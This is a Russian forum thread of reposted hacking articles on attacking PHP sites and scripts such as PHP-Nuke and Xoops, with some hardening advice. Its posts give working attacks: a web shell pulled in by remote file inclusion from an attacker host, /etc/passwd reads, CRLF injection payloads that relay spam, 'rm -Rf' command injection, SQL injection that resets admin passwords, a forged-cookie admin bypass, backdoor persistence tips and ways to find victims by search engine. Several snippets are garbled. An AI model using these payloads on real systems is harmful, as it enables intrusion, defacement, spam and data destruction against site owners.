Все о Php
#1
Отправлено 18 ���� 2008 - 10:06
Вот для начала баги которые есть(малая часть)
Ты хочешь знать, как был взломан небезызвестный apache.org? Хотел хоть раз побывать в шкуре скипт-киддисов и понять, каким местом они думают? Или хочешь узнать, как защититься от тех самых скрипт-кидди? Тогда эта статья однозначно для тебя. Наверное, слышал, что знаменитый apache.org (веб-сайт команды разработчиков, чей веб-сервер один из самых распространенных в мире) в 2000 году подвергся хакерской атаке, и был произведен дефейс главной страницы сайта. Логотип "Powered by Apache" был заменен "Powered by Microsoft BackOffice". Как же хакерам удалось проломить защиту сайта? Все банально, исследовав фтп-сервер сайта, хакеры наткнулись на директорию, к которой можно было обращаться еще и по вебу. Они сформировали простой скрипт на PHP:
<?
passthru($cmd);
?>
Это дает возможность исполнять команды с привилегиями веб-сервера. Далее они залили на фтп биндшелл, и с помощью этого скрипта скомпилировали и запустили:
http://www.apache.or...o httpd httpd.c
http://www.apache.or...hp3?cmd=./httpd
Вдаваться в подробности, как был получен рут-доступ, не будем. Скажем лишь, что это было сделано через mysql. Нас интересует, что можно было сделать через простой пхп-скрипт.
Когда-то, года два или три назад, пхп был не так распространен, как сейчас. Скрипты писали в домашних условиях (hand-made ;)), не было команд разработчиков типа phpBB etc., соответственно скрипты содержали немало ошибок, позволяющих исполнять команды вроде функций:
system($cmd);
passthru($cmd);
В наше время такие ошибки встречаются крайне редко, но встречаются. Сейчас появилось множество других приятных багов. Я же расскажу о самых распространенных из них.
Рассмотрим функции: include(), include_once(), require(), require_once(). Все они парсятся fopen врапером, и если в конфиг-файле PHP на веб-сервере разрешено открытие удаленных файлов (а это разрешено по умолчанию), то мы можем совершить некий трюк. А именно - включить в файл свой кусок кода типа <?system("cat /etc/passwd");?>, и он будет исполнен. Во многих скриптах, которые ты можешь скачивать с веба для своей домашней страницы, присутствует такая ошибка:
<?
...
include($file);
?>
Если переменная $file не определена до этого куска кода, то ты попал ;). Тебя обязательно похакают, а сделают это так:
http://your.home.pag...sted.here/1.php
Дело в том, что если переменная не инициализирована, то ее можно передать как параметр к скрипту. Разумеется, если это предусмотрено конфигом пхп, а это, опять же, предусмотрено по умолчанию. В данном случае в твой уязвимый скрипт включается кусок кода с совершенно другого сервера. Файл 1.php содержит в себе строчку <?system("cat /etc/passwd");?>, которая покажет /etc/passwd с твоего серванта. Та же самая ошибка получится и в том случае, если в твоем скрипте несколько другой код, типа:
<?
...
include("$file.php");
?>
Хаксор просто вызовет строчку по-другому: http://your.home.pag...g.hosted.here/1. А файл на его сервере будет называться точно так же - 1.php, тогда параметр "file", передаваемый скрипту, будет подставлен в твой скрипт, и он будет выглядеть так:
<?
...
include("http://vrag.hosted.here/1.php");
?>
В результате файл 1.php с сервера хаксора будет включен и обработан. Если бы в твоем скрипте перед $file стояла точка и слэш ("./" - признак того, что файл будет искать только в текущей директории) или указан полный путь к файлу относительно сервера, этот трюк не сработал бы.
Давай представим себя скрипт-кидди и подумаем, что он будет делать. Ведь, наверняка, ему не нужен файл /etc/passwd. Кроме списка пользователей он ничего из него не вытащит. Разберем живой пример: найдем ошибку в скрипте и заэксплоитируем ее. Возьмем довольно распространенный скрипт L-forum версии 2.2.0. Далее ищем функции include, include_once, require, require_once. Наша задача - найти место в скрипте, где мы можем включить в него удаленный файл с нашим куском кода, чтобы он исполнился. Итак, ищем и находим файлы:
inc/list_last.inc
inc/list_msgs.inc
inc/list_thr.inc
Они содержат такой участок кода: include $pre."lib/date_trans.inc";. Причем, переменная $pre не определена заранее, так как это .inc-файлы, которые включаются только по ходу работы скрипта. Баг найден, остается молиться, чтобы на сервере .inc-файлы обрабатывались PHP, что опять же почти всегда и делается, дабы не раскрывать исходный код скриптов. Что бы сделал скрипт-кидди? Конечно, сразу бы сбацал веб-шелл для исполнения команд, создав файлик с таким содержимым:
<?
//здесь узнаем версию ядра
echo(system("uname -a")."<br>");
//узнаем, какой шелл у пользователя
echo(system("cat /etc/passwd|grep nobody")."<br>");
?>
<form method=POST action="http://site.s.bugged.../hax0rz.site/">
<input type="text" name=lox>
<input type=submit>
</form>
<pre>
<?
$lox=passthru($lox);
echo($lox);
?>
</pre>
Это простенький веб-шелл, в его форме указывается необходимая для исполнения команда. Результат выводится прямо в ту же веб-страницу. Главное, в настройках правильно указать путь в action.
http://site.s.bugged...c/list_msgs.inc - путь к дырявому скрипту на сервере врага ;).
http://hax0rz.site/ - сайт, на котором будет лежать файл /lib/date_trans.inc (относительно веб-сервера), так как именно он будет включаться в страницу include http://hax0rz.site/lib/date_trans.inc.
Вот, в принципе, и все, остается зайти по урлу http://site.s.bugged...://hax0rz.site/ и получить веб-шелл. Что будет дальше, зависит только от извращенности скрипт-кидди. Он может применить хитрые локальные эксплоиты и получить рута. А может сделать дефейс, если хватит прав для записи в файл главной страницы. А может и забить на этот дырявый сервер и написать админу об ошибке.
Все вышеописанное касается и функций require, require_once, include_once. Конечно, может возникнуть резонный вопрос - как определить, уязвим ли скрипт на удаленном сервере, когда нельзя получить доступ к его исходному коду? Очень просто, забиваем в параметры скрипта какую-нить длинную страшную строку:
/file.php?file=aaaaaaaaaaaaaaaaaaaaаааааааа
Если скрипт уязвим, то ответом будет предупреждение о том, что не удается подключить файл:
Warning: Failed opening 'aaaaaaaaaaaaaaaaaaaa' for inclusion (include_path='.:/usr/local/php-4.2.3/lib/php') in /opt2/home3/prop/public_html/file.php on line 7
В PHP до версии 4.0.3pl1 включительно была такая бага, как null-byte. Это должно быть всем знакомо еще со времен родного перла. После того, как о ней сообщили, ошибка была исправлена. В некоторых функциях она сохранилась и в более поздних версиях. Это возможно и сейчас, но "эксплоитировать" их очень сложно... При старом PHP такая ошибка реализовывается крайне просто. Допустим, на сервере есть скрипт с куском кода такого плана (порывшись в сырцах php-nuke, найдешь много подобного):
<?
..
fopen("$file.php");
?>
Переменная $file не определена ранее и передается как параметр, то есть мы можем ее задать как script?file=../../../../../../etc/passwd%00, получится строка:
<?
..
fopen("../../../../../../etc/passwd%00.php");
?>
Соответственно, открывается файл с пользователями этого сервера вместо скрипта. До сих пор очень много серверов используют старые версии пхп, скорее всего это ленивые админы. Я даже видел пхп версии 2.0. А если попался ленивый админ, то задача еще более упрощается.
Теперь о сочетании функций eval(), print() и echo(). Функция eval() появилась в пхп3, она представляет текст в виде кода, который затем исполняется. Это важно в тех случаях, когда кусок кода хранится в базе данных. В php3 она не возвращает ничего. В php4 она возвращает NULL, если код ничего не возвращает. Чем нам полезна эта функция? А тем, что это потенциальная дыра, code injection, как и с функцией include(), только несколько другого плана. Вот пример из phpBB 1.4:
<example code from page_header.php>
if ($new_message != 0) {
eval($l_privnotify);
print $privnotify;
}
</end example code>
Переменная $l_privnotify не определена ранее, а значит, мы можем определить ее в параметрах, передаваемых к скрипту, scripts.php?l_privnotify=phpinfo(). Функция phpinfo() выдает все, что нужно для успешной атаки.
Вплоть до предпоследней версии PHP(4.2.2), существует ошибка, исправленная только в 4.2.3. Суть ее состоит в том, что можно обойти "safe mode" и выполнить произвольный код без ограничений "safe mode". Ошибка находится в пятом аргументе функции mail(). Эксплоит можно найти на security.nnov.ru. Вообще, пятый аргумент функции mail() используют достаточно редко, и здесь я привожу эту ошибку только для того, чтобы оградить тебя от этой досадной ошибки и помочь сделать код более безопасным.
Еще один путь обхода "safe mode". Ошибка содержалась в функции getpw() и ей подобных. Эта функция показывает имя пользователя по его UID, но она не проверяет, включен ли режим "safe mode" и ограничение на выход из домашней директории пользователя open_basedir. Вот простой кусок кода, который покажет всех пользователей в системе:
<?
for ($i = 0; $i < 60000; $i++)
{
if (($tab = @posix_getpwuid($i)) != NULL)
{
echo $tab['name'].":";
echo $tab['passwd'].":";
echo $tab['uid'].":";
echo $tab['gid'].":";
echo $tab['gecos'].":";
echo $tab['dir'].":";
echo $tab['shell']."<br>";
}
}
?>
Что же делать? Как защититься от хаксоров? Если сервер принадлежит тебе - все очень просто: редактируй файл php.ini. А если сервер не твой, можешь отписать эти рекомендации админу на мыло. Если же админ ленивый, то меняй хостинг.
А теперь о самих настройках PHP. Вначале отключим инициализацию глобальных переменных, хотя без этого иногда тяжко:
register_globals = Off
Также не разрешать fopen открывать ссылки. Это самая реальная фишка, хотя опять же, некоторые скрипты ее используют. Например, когда прут новости с новостных сайтов:
allow_url_fopen = Off
Включаем сейф-моду. При ней хаксор не сможет получить доступ к файлам типа /etc/passwd и им подобным:
safe_mode = On
Далее следует отключить некоторые функции, которые позволяют исполнение команд на сервере и получение информации об объекте атаки. Например, функция phpinfo() выдаст хаксору практически всю информацию о веб-сервере и установленных компонентах для успешной атаки:
disable_functions = system,cmd,passthru,phpinfo
Если все-таки необходимо использовать функции для исполнения системных команд:
$cmd=escapeshellcmd($string);
И еще. Если ты управляешь личным колокейшеном, то желательно настраивать PHP для каждого конкретного vhost в апаче. Там можно указать ограничения и что-то вроде chroot. Но об этих настройках (апач+пхп) читай на www.opennet.ru. Также для всех скриптов можно сделать так, чтобы они выполнялись под UID'ом пользователя, а не под правами apache. Это так называемый suexec, но для реализации этой фишки нужно патчить апач, а точнее закомментировать некоторые строки в сырцах и перекомпилить. Конечно, нельзя забывать вовремя обновлять софт после каждого релиза. А ведь сейчас очень много веб-серверов, которые до сих пор используют PHP версий 4.0.2-4.0.7, подверженных уязвимости, для которой командой TESO (7350fun) был выпущен эксплоит. О нем мы уже писал в статье "Top10 exploits".
А что же делать, если твой сервер все-таки похакали, и на главных страницах всех сайтов появился обнаженный Билл Гейтс? Изучай access.log апача и ищи скрипт, через который тебя похакали. Ищи в нем ошибку и патчь. Если тебя будут хакать часто, то ты можешь стать kewl-программером на пхп, так как будешь сходу искать ошибки. Ну или просто отключишь сервер на фиг, если не будет получаться ;).
P.S. В этом материале были изложены наиболее распространенные и важные ошибки. Я надеюсь, что это послужит толчком к написанию более безопасного кода и ограждению читателя от этих досадных ошибок.
#2
Отправлено 18 ���� 2008 - 10:08
В 2002 году параллельно несколькими группами, занимающимися поиском уязвимостей в ПО, была обнаружена серьёзная и мощная уязвимость в php.
В русскоязычном интернете эта уязвимость практически не была освещена. На русскоязычных сайтах по проблемам безопасности мне не удалось найти непосредственного сообщения об этой уязвимости.
Предупреждаю ничего нового в этом материале не будет. Несмотря на впечатляющие возможности для злоумышленника, данная уязвимость — просто комбинация общеизвестных свойств php.
Уязвимость
Url fopen wrapper: Для увеличения функциональности и упрощения кодирования, разработчики php сделали такую особенность в функциях fopen, file, include и прочих
Если имя файла начинается с "http://", сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла. Аналогично работают префиксы "ftp://", "php://" (последний предназначен для чтения и записи в stdin, stdout и stderr).
Нужно это было для того, чтобы разработчики сайтов не мучались с библиотеками http-запросов и не писали их вручную
Данная опция отключается в настройках php, параметр allow_url_fopen.
CR/LF в HTTP-запросах: Комбинация символов carriage return и line feed в HTTP-запросе разделяет заголовки. Подробно об этом можно почитать в статье Антона Калмыкова «Генерация HTTP-запросов» [ http://detail.phpclu...le/http_request ].
Эту комбинацию символов можно передать в GET-запросе в виде "%0D%0A".
Untrusted input: На многих сайтах страницы генерируются скриптом-шаблонизатором. В скрипт перенаправляются все запросы сайта. Из REQUEST_URI берётся имя файла, который надо открыть. Файл считывается, к нему добавляется шаблон с навигацией, шапкой и т.п., и результат выдаётся клиенту.
Нерадивый или неопытный программист запросто может написать открытие файла без проверки данных:
<?
echo implode("", file(substr($REQUEST_URI, 1)));
От запроса отбрасывается первый символ — слэш — и открывается файл. Злоумышленник легко может вписать в качестве пути к файлу на сервере строку http://example.com:
http://n00b.programm...p://example.com
Другой вариант — все адреса на сайте имеют вид
http://n00b.programm...ndex.php?f=news
В таком случае злоумышленник будет пробовать открыть адрес типа
http://n00b.programm...p://example.com
Очень важно не доверять входящим данным и фильтровать при помощи
регулярных выражений входящие запросы.
Эксплойт: Поскольку в приведённом примере адрес никак не проверяется, в запрос можно вставить строку с HTTP-запросом.
Если злоумышленник откроет путь
index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A
Host:+example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A
то скрипт выполнит HTTP-запрос:
GET example.com/ HTTP/1.0\r\n
Host: example.com\r\n
User-agent: Space Bizon/9.11.2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\r\n
HTTP/1.0\r\n
Host: www.site1.st\r\n
User-Agent: PHP/4.1.2\r\n
\r\n
Последние три строки скрипт добавляет автоматически, но два \r\n перед ними означают конец запроса.
Таким образом, незащищённый скрипт можно использовать как прокси-сервер. Зная несколько "дырявых" сайтов, злоумышленник может выстроить из них цепочку, чтобы его было сложнее найти.
Умное использование эксплойта: Если у провайдера, предоставляющего бесплатный демо-доступ, дырявый сайт, можно написать скрипт для домашнего сервера, который бы формировал запросы к такому прокси-серверу и экономил немного денег.
Это дело, безусловно, подсудное и наказуемое, но по большому счёту баловство.
Более прибыльное использование чужой машины как прокси — рассылка коммерческого спама. Пример из статьи, написанной Ульфом Харнхаммаром
[http://archives.neoh...-q3/0109.html]:
index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
(должно быть одной строкой)
модуль PHP соединится с сервером mail.example.com по 25 порту и отправит следующий запрос:
GET / HTTP/1.0\r\n
HELO my.own.machine\r\n
MAIL FROM:\r\n
RCPT TO:\r\n
DATA\r\n
i will never say the word PROCRASTINATE again\r\n
.\r\n
QUIT\r\n\r\n
HTTP/1.0\r\n
Host: mail.site1.st:25\r\n
User-Agent: PHP/4.1.2\r\n\r\n
PHP и почтовый сервер будут ругаться, но письмо будет отправлено.
Имея такую уязвимость в чьем-то сайте, можно искать закрытый почтовый релей, принимающий от эксплуатируемого веб-сервера почту. Этот релей не будет в чёрных списках провайдеров, и рассылка спама может получиться очень эффективной.
На своём сайте я нашёл множество запросов с 25-м портом в пути. Причём до начала этого года таких запросов не было. Раньше о такой уязвимости знали единицы любопытных пользователей, и лишь в прошлом году дыра стала общеизвестной и поставлена на поток спаммерами.
Меры защиты от эксплойта: Вам, как разработчику или владельцу сайта, важно сделать всё возможное, чтобы через ваш сайт никто не смог разослать спам. Если это получится, разослан он будет с какого-нибудь гавайского диалапа, владельцы которого не понимают человеческого языка, а крайним могут сделать именно вас.
Проверка журнала запросов: Для начала полезно ознакомиться со списком уникальных адресов, запрашиваемых с сайта. Это поможет узнать, были ли случаи атак и использования дырки.
Обычно спамеры сразу проверяют возможность соединения с нужным им почтовым релеем по 25 порту. Поэтому искать следует строки ":25" и "%3A25".
Настройка php: Самый простой способ отключить возможую уязвимость — запретить открывать URL через файловые функции.
Если вы администратор своего сервера — запрещайте allow_url_fopen в настройках php. Если вы просто клиент — запретите у себя локально. В файле .htaccess для корня сайта напишите строку:
php_value allow_url_fopen 0
Если вы злой хостинг-провайдер, можете запретить URL fopen wrapper для всех клиентов при помощи директивы php_admin_value. Включение безопасного режима (safe mode) в данном случае не поможет, функция продолжает работать исправно.
Изменение кода: Возможна такая сложная ситуация: вы клиент, а нерадивый админ хостинг-провайдера вписал все установки php в php_admin_value, и поменять их нельзя.
Придётся модифицировать код скриптов. Самый простой способ — искать функции fopen, file и include, открывающие файлы из имён переменных. И вырезать функцией str_replace префиксы http:// и ftp://.
Впрочем, иногда скрипту, всё-таки, необходимо открывать адреса, которые приходят от пользователя. Например, скрипт-порнолизатор, который вставляет в текст матерки или заменяет текст на ломаный русский язык ("трасса для настайащих аццоф, фсем ффтыкать"). Наверное, больше всего от неряшливого программирования пострадали именно эти сайты.
В данном случае вполне можно ограничиться вырезанием "\r\n" из полученной строки. В таком случае злоумышленник не сможет добавить свой собственный заголовок к запросу, который отправляете вы.
Прекращение работы при оффенсивном запросе: Клиент, сканирующий ваш сайт на предмет непроверяемых переменных, создаёт лишний трафик и загружает процессор сервера. Понятно, что ему не нужны страницы, которые генерирует ваш сайт, если они не работают как прокси.
Желательно убивать такие запросы ещё до запуска php-интерпретатора. Это можно сделать при помощи модуля mod_rewrite. В файле .htaccess в корне сайта я поставил такую строку:
RewriteRule ((%3A|:)25|%0D%0A) - [G]
При этом предполагается, что на сайте не будут отправляться методом GET формы с многострочным пользовательским вводом. Иначе они будут остановлены этим правилом.
Если вы при помощи mod_rewrite поддерживаете адресацию, удобную для чтения, то скорее всего, двоеточие и CRLF не используются. Поэтому другие строки RewriteRule не будут подходить под сканирующий запрос, и строку, прекращающую обработку запроса, лучше поместить в конце списка правил. Тогда обычные запросы будут переписываться и перенаправляться до этой строки (используйте флаг [L]), что уменьшит время их обаботки.
В зависимости от разных условий оно может варьироваться.
=============================================
Источник: Club of the developers PHP
© 2002-2003 Copyright by GreatWeb Design
Копирование материалов рассылки возможно только в случае явного указания
на сайт "GreatWeb.RU" как на источник информации.
#3
Отправлено 18 ���� 2008 - 10:10
Что бы я ни говорил о плюсах PHP, по крайней мере один серьезный недостаток у него точно есть: тема взлома php-скриптов как-то слабо освещена в рунете. Все только говорят, что это очень дырявая штука, приводя тупые доводы, типа "если не проверяются переменные, вебсервер под рутом, да версия дырявая..." А между тем на php уже перешло очень много сайтов, и многие используют не оригинальные скрипты, а стандартные решения, в которых частенько проскакивают уязвимости. О них-то, собственно говоря, и пойдет речь.
Это один из популярнейших сайтовых движков с кучей возможностей: от постинга статей и новостей с возможностью их обсуждения читателями (как на xakep.ru) до автоматизации показа баннеров. О мощи продукта можно судить и по объему дитрибутива: архив с последней версией движка весит... весит... 1.21mb! А ведь там просто скрипты, текстовые файлы...
Впрочем, где много кода, там много багов. С момента появления php-nuke в нем было найдено столько дырок, что любой дуршлаг обзавидуется ;). И уязвимости все - как на подбор: тут тебе и DoS, и выполнение команд, и игры с sql-запросами, и получение прав администратора, и выполнение любого php-кода...
PHP-nuke
PHP-nuke написал некто Франциско Бурзи (Francisco Burzi) для новостного проекта
Linux Preview (http://linuxpreview.org).
В далеком 1998 году, когда только появился проект, он работал на perl-овых скриптах, написанных этим же парнем. Но по мере роста сайта стало очевидно, что скрипты не удовлетворяют потребностям, нужно что-то новое, более удобное, быстрое и функциональное. Поскольку Франциско, как сам утверждает, Perl знал паршиво, он взял готовый движок Thatware, подучил PHP и наколбасил за 380 часов PHP-nuke, версию первую, и безумно дырявую. Так 17 августа 2000 года появился на свет рекордсмен по популярности, дырявости и функциональности, великий и ужасный PHP-nuke.
За два года существования движка вышло огромное множество версий, проект, надо отдать должное, отлично поддерживается, и, пожалуй, Франциско здорово пишет на PHP . Нет, правда, несмотря на КУЧУ дыр, наколбасить ТАКОЙ проект за 380 часов - это круто ;).
URL проекта: http://phpnuke.org
Уязвимые версии: почти все ;)
Диагноз: выполнение любого php-кода
Xploit: http://victim/index..../bad.script.php
Описалово: Ну что же, дырочка под наш размерчик ;). Автор движка пишет:
Значения переменной $file проверяются очень скудно - на наличие "..". "/" в начале строки. Не подумал кодер, что в $file может и должен в нашем случае лежать URL на выполняемый PHP-скрипт. Однако не все так просто. Например, когда я тестировал баг на winNT+Apache+php3, тот не заработал - "Failed opening...", понимаешь ли.
Все дело оказалось в настройках php - функция "Url fopen wrapper" у меня была отключена (когда я конфигурировал php, по инерции отрубил все ненужные мне опции). На большинстве серверов функция включена, так что, скорее всего, проблем у тебя не будет. Но даже в моем случае я с легкостью шарился по диску - $file=c:\winnt\win.ini. Естественно, если машина под *nix, такое не пройдет - "/" вырезается из начала строки $file.
Теперь о деструктивном скрипте, о том, что туда записать. Вопрос философский, но пару наработок я все же дам:
$a=fopen("$index.php", w);
fputs("$a, "http://coolsite.url/hack.jpg>
From Siberia with love.
Regardz2: X-crew, Bill Gates and Monica Levintsky'", $a);
?>
Простенько и со вкусом, хотя можно пойти дальше:
$a=system($command);
echo "$a";
?>
Этот код, как ты понимаешь, выполнит на сервере команду из переменной $command.
Например, вот так:
http://victim/index......ommand=rm -Rf
В PHP есть два оператора - require и include, которые считывают и выполняют код из указанного файла. Благодаря этому можно создать многократно используемые функции и константы в отдельном файле и вызывать их в остальных сценариях. (Часто для удобства конфигурации сценария все его настройки хранятся в небольшом скрипте, где их может легко редактировать не знающий языка человек, не боясь повредить основной код. Или, скажем, очень удобно включать куски html'я, чтобы многократно не выписывать одни и те же элементы.)
Функции, как видишь, полезны и для кодеров, и для хакеров ;). В чем разница между include(); и require();? Она незаметна, но принципиальна: require(); просто заменяется во время интерпретации кодом из указанного файла, а include(); вычисляет и выполняет код во внешнем файле при каждом обнаружении оператора include. Это позволяет использовать функцию в циклах, что было бы невозможным с require. И еще. При выполнении эти функции возвращают значения - если возникла проблема, то false, если все ОК, то true. Разница в том, что при возникновении трабла с require сценарий будет остановлен, в случае, если используется include, его выполнение продолжится. Таким образом, require, в общем-то, эквивалентен коду:
If(!include(file.php))
{ exit; } else { ... }
?>
Вообще, функция system выполняет любую команду на сервере, возвращая результат ее выполнения. На ней, кстати говоря, много багов основано. Например, для отправки почты часто используется вот такой код:
System("mail $email < text.of.letter.txt");
Однако, если $email имеет вид "--blahundragogo; rm-Rf; lohundra", то опять произойдет удаление всех файлов и подкаталогов относительно этой директории.
Смотри сам:
System("mail -blahundragogo; rm-Rf; lohundra < text.of.letter.txt");
Тут команда состоит из трех частей:
1) mail -blahundra - недопустимый флаг к функции mail, игнорируется;
2) rm-Rf - деструктивная функция;
3) lohundra < text.of.letter.txt - тоже белиберда.
По моим сведениям, эта дырень появилась в багтраках относительно недавно, и на момент написания статьи никаких патчей выпущено не было, а на официальном сайте лежала дырявая версия. Кстати, чуть не забыл. Эта уязвимость позволяет пробэкдорить сервер! Т.е. просто создаешь где-нибудь далеко-далеко, в далекой директории файл lala.php, в который пишешь, например, вот это:
require($file);
?>
Все ;). Теперь, когда перец пропатчит бажный движок, у тебя будет бэкдор, по которому ты сможешь еще разок ломануть сайт;) Правда, недолго он будет работать - если перец не дебил, то, после второго дефейса, он посмотрит логи вебсервера и мигом тебя запалит ;(((. Но всегда остается шанс, что у него либо нет доступа к логам (напишет админам, пришлют ему логи ;(), либо нет мозгов.
Уязвимые версии: 5.*
Диагноз: возможность выполнения почти любого sql-запроса
Xploit: http://victim/articl...refix=sql_query
Поиск жертв: файл pollBooth.php или, например, auth.inc.php
Описалово:
В ранних версиях движка использовались статичные имена таблиц (типа messages, authors). Понятно, что их наличие в базе данных весьма вероятно, и чтобы избежать недоразумений, к именам теперь прибавляется префикс из переменной $prefix, определяемой в конфигурационном скрипте config.php. SQL-запрос к базе данных в этом случае выглядит примерно так:
mysql_query("UPDATE $prefix"._stories." SET
counter=counter+1 where sid=$sid")
Автор полагает, что $prefix жестко определена в теле скрипта. Наивный ;).
Как видишь, тут происходит вызов mainfile.php, который, в свою очередь, вызывает конфигурационных файл. Этого-то нам как раз не надо, нам нужно, чтобы $prefix была свободна, и мы могли туда засунуть свой собственный запрос. Делается это просто - определяются переменные $mainfile, $tid, $sid, а в $prefix кладется запрос (функция isset(); используется для выяснения немаловажного факта - определена ли какая-либо переменная, т.е., например, заполнил ли пользователь какое-то поле). Что сунуть в $prefix? Ну, например, вот это: authors set pwd='coolpass'; update nuke.
Таким образом, выполняемый запрос будет следующим:
UPDATE authors set pwd='coolpass'; update nuke_stories SET counter=counter+1 where sid=$sid"), что поменяет пароли всех администраторов на "coolpass".
Уязвимые версии: *.*
Диагноз: выполнение кода на стороне клиента
Xploit: Http://www.hackerdrom.f2s.com/hack.php #сюда я закачаю файл, заодно #посчитаю, сколько народу им заинтересовалось ;)
Поиск жертв: файл pollBooth.php, или, например, auth.inc.php
Описалово:
CSS - Cross Site Scripting. Это целый класс уязвимостей в досках объявлений, форумах, html-чатах и т.п. Уязвимые скрипты позволяют выполнить JavaScript код (любой код, встраиваемый в HTML) на машине клиента - чудака, читающего мессагу в форуме, например. Что это дает? По существу - ничего. Хотя, конечно, всегда остается шанс поприкалываться, накрутить баннерных показов, повесить кому-нибудь машину, попортить реестры, форматнуть пару-тройку HDD ;). Все зависит от твоей фантазии и количества доков по javascript. Работают все дыры одинаково: кое-кто кое-что должным образом не проверил, поэтому я ограничусь тем, что приведу пути эксплоитинга. Их ты найдешь в текстовом файле, слить который можно по вышеприведенному url'у. В разных версиях php-nuke разные дыры, но я собрал в файл абсолютно все пути эксплоита - для всех существующих версий ;).
(Кстати, я сейчас готовлю материал про две часто используемые технологии взлома скриптов: CSS и SQL-injection, в котором расскажу, как сделать все вышеописанное.) ;)
Это тоже site engine, но, как мне показалось, значительно послабее. И функционально, и в области security - более тупых дыр я, пожалуй, не встречал. Программисты славно потрудились над созданием опаснейших уязвимостей - позволили читать файлы и администрировать сайт абсолютно всем ридерам Х .
Читаем файл
Уязвимые версии: 0.4.02 (последняя)
Диагноз: чтение файлов на сервере
Xploit: http://victim/index.php?l=../....#46;/etc/passwd
Поиск жертв: файл /lang/Englign/config
Описалово: Мда... дырочка стара как мир, а вот программист про нее почему-то не подумал. Ну что же, получай ;).
Читаем любой файл, доступный данному пользователю. Например, можно прочитать конфигурационный скрипт и выудить оттуда пароль к БД, который может совпасть с паролем на FTP-сервер с сайтом, и так далее. Представь себе, что проверка переменной $l на ".." ВООБЩЕ отсутствует. Это меня очень огорчило - ну не умеешь писать, не пиши. Нет же, лезут, да еще и выставляют свои творения на всеобщее обозрение - непонятно, зачем?
Админим ;)
Уязвимые версии: 0.4.02 (последняя)
Диагноз: получение прав администратора
Xploit: cookie access=ok
Описалово: Честно говоря, когда я вычитал про этот баг, я ржал минут пять, после чего опять взгрустнул. Это сколько же и чего надо выпить, чтобы идентифицировать администратора по cookie "access" с значением "ok" ? Нет, если бы это был приватный, оригинальный скрипт - куда ни шло, ведь узнать о баге можно только посмотрев его код, снаружи не докопаешься. Но ведь сорсы проекта выложены на сайте, поэтому найти эту тупость - пятиминутное дело. Смотри сам:
Тут, правда, встает "проблема" с подделкой cookie - ведь если ты повесишь плюшку на другом сервере, не на том, куда ломишься, то ничего не выйдет - кукисы доступны только тем хостам, откуда они были повешены. Но это только по идее - cookies подделываются, притом элементарно - ручным редактированием ;). Т.е. вешаешь себе плюшку с любого хоста, открываешь ее текстовым редактором и правишь там хост.
Xoops - очередной дырявый движок, достаточно, как мне показалось, функциональный, поэтому весьма распространенный ;). Дыр я в нем нашел не так уж и много - во-первых, продукт совсем молодой, а во-вторых, программисты думали о security при его написании, хотя, как видно, недолго.
Хакаем SQL
Уязвимые версии: Xoops RC1
Диагноз: выполнение SQL - запроса
Xploit: http://victim/userinfo.php?uid=77 drop *
Поиск жертв: файл userinfo.php
Описалово: В скрипте userinfo.php отсутствует проверка на спецсимволы в переменной $uid, которая используется в SQL-запросе, что позволяет вволю поиграть с sql-запросами, модифицируя или удаляя данные ;).
Весело? Поехали!
Если поставить в $uid "7545$", то PHP отрапортует об ошибке:
-отрезано-
...
MySQL Query Error: SELECT u.*, s.* FROM x_users u, x_users_status s WHERE
u.uid=7545$ AND u.uid=s.uid
Error number:1064
Error message: You have an error in your SQL syntax near '; AND u.uid=s.uid' at line 1
...
-отрезано-
Это здорово помогает - ты видишь, как устроен sql-запрос, что позволяет вволю оттянуться ;)! Ну, например... вот так вот:
$uid =2; update x_users password='coolpass'; select * x_from users where uid='1'
Теперь отправляемый SQL-запрос выглядит вот так:
SELECT u.*, s.* FROM x_users u, x_users_status s WHERE
u.uid=2; update x_users password='coolpass'; select * x_from users where uid='1'
AND u.uid=s.uid
Понятное дело, что вместо "update x_users..." может стоять ЛЮБОЙ sql-запрос, права на выполнение которого есть у текущего sql-ного юзера.
Этот абзац посвящен тем, кто НЕ ЗНАЕТ, как искать уязвимые сайты. Если ты не из их числа - пропускай эти строки, ничего не потеряешь. Итак... Начнем с азов... Что такое скрипт? Помимо выполняемой на стороне сервера программы, это просто файл. И как всякий файл, работающий в сайте, на него ведут гиперссылки с других страниц.
Теперь давай вспомним, как работают поисковые системы. Человек регистрирует сайт, его URL заносится в базу данных, откуда умная программа-бот выбирает адреса и идет по ним, сканируя структуру сайтов. Сканирует она ее, прежде всего, расхаживая по ссылкам, начиная с начальной страницы. Таким образом, весь текст на САЙТЕ - совокупности страниц, объединенных гиперссылками, - заносится в базу данных поискового сервера, откуда делается выборка в процессе поиска введенного пользователем текста.
В базу данных заносится как тест на странице, так и название файла - это как раз то, что нам нужно. Теперь, если, например, у человека на сайте есть файл mainfile.php, и на него стоит гиперссылка, то он автоматом попадает в БД при индексации сайта.
Таким образом, для поиска жертвы достаточно набрать в поисковике имя уязвимого скрипта. Еще часто используют специальные сканеры, которые, подобно боту поисковой системы, проверяют заданные URL'ы на наличие либо конкретного скрипта, либо группы скриптов. Понятно, что подобное сканирование с диалапа или при платном трафике - безмазовое занятие, так что лучше доверься альтависте ;). Вообще, этими сканерами пользуются, когда работают над конкретным сайтом - берется лист с пятью тысячами дырявых скриптов, и за ночь он прокручивается - в этом раскладе такое сканирование оправдано.
P.S.
Я рассказал тебе о трех бажных site engine'ах. Показал на их примере самые типичные для php уязвимости - возьми любой дырявый php-скрипт из багтрака, там, скорее всего, будут точно такие же дыры. Надеюсь, ты не воспримешь статью, как руководство по скрипткиддингу, а поймешь, что взламывать PHP ничуть не менее интересно, чем perl ;).
P.P.S. Все баги тестировались на локальном вебсервере Apache под winNT с прикрученным PHP третьей версии.
#4
Отправлено 25 ���� 2008 - 10:41
Одна из особенностей синтаксиса — это то, что переменные в PHP не
обязательно должны быть инициализированы, они инициализируются
автоматически при первом их использовании.
